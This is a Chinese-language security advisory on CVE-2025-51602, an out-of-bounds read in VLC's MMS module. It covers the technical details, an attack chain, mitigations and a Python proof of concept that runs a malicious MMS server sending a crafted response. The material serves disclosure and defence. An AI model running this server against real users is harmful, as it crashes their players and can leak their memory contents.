IPBUF安全漏洞报告
English
CVE-2025-51602 CVSS 4.8 中危

CVE-2025-51602: VideoLAN VLC mmstu.c越界读取漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-51602
漏洞类型
越界读取/拒绝服务
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
VideoLAN VLC media player

相关标签

越界读取拒绝服务VideoLAN VLCMMS协议媒体播放器CVE-2025-51602

漏洞概述

CVE-2025-51602是VideoLAN VLC媒体播放器中的一个安全漏洞。该漏洞位于mmstu.c文件中,影响3.0.22之前的所有版本。攻击者可以通过构造恶意的MMS服务器响应(0x01响应)来触发该漏洞。当VLC尝试解析来自恶意MMS服务器的响应时,会发生越界读取(out-of-bounds read),导致程序崩溃或泄露敏感内存信息。此漏洞无需认证即可利用,且不需要用户交互,攻击者只需诱导用户连接至恶意MMS服务器即可发动攻击。

技术细节

该漏洞存在于VLC的MMS流媒体协议实现模块(mmstu.c)中。MMS(Microsoft Media Server)协议是微软开发的流媒体协议,VLC通过该模块处理MMS流。当VLC客户端连接到MMS服务器并接收0x01类型的响应时,解析函数存在边界检查不当的问题。攻击者可以构造一个精心设计的0x01响应包,其中包含超长的字段或异常的偏移量值。当VLC解析此响应时,会将数据复制到固定大小的缓冲区,但由于缺乏正确的边界验证,导致读取操作超出缓冲区边界。成功利用此漏洞可造成两种后果:1)应用程序因访问无效内存地址而崩溃,造成拒绝服务;2)攻击者可能读取到相邻内存区域的数据,存在信息泄露风险。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意MMS服务器,部署CVE-2025-51602漏洞利用代码
STEP 2
步骤2
攻击者通过社会工程学手段(钓鱼链接、恶意网页等)诱导用户使用VLC打开mms://恶意服务器地址
STEP 3
步骤3
VLC客户端连接到恶意MMS服务器并发送连接请求
STEP 4
步骤4
恶意服务器返回精心构造的0x01响应包,包含超长的长度字段或异常的偏移量
STEP 5
步骤5
VLC的mmstu.c模块在解析0x01响应时,由于边界检查不当,执行越界读取操作
STEP 6
步骤6
攻击成功:应用程序崩溃(DoS)或攻击者获取敏感内存信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-51602 PoC - Malicious MMS Server Response Generator # This PoC generates a crafted MMS 0x01 response that triggers out-of-bounds read import socket import struct import sys def create_crafted_mms_response(): """Generate a malicious MMS 0x01 response with oversized fields""" # MMS header header = b'\x01\x00' # 0x01 response type # Protocol version header += struct.pack('<H', 0x0001) # Crafted response with oversized payload to trigger OOB read # The key is to set an incorrect length or offset field payload_size = 0xFFFF # Oversized value header += struct.pack('<I', payload_size) # Add padding to extend beyond expected buffer padding = b'\x41' * 1000 # 'A' padding response = header + padding return response def start_malicious_server(port=1755): """Start fake MMS server that sends crafted response""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(1) print(f"[*] Malicious MMS Server listening on port {port}") print("[*] Wait for VLC client connection...") while True: client, addr = server.accept() print(f"[+] Connection from {addr}") # Send crafted MMS response response = create_crafted_mms_response() client.send(response) print("[+] Sent crafted 0x01 response") client.close() if __name__ == "__main__": print("=== CVE-2025-51602 PoC ===") print("Target: VideoLAN VLC < 3.0.22") print("Vulnerability: Out-of-bounds read in mmstu.c") start_malicious_server()

影响范围

VideoLAN VLC media player < 3.0.22

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1)禁用VLC的MMS协议自动处理功能;2)避免点击来源不明的mms://链接;3)使用防火墙阻止到陌生MMS服务器的连接;4)在终端防护产品中启用针对VLC进程的行为监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表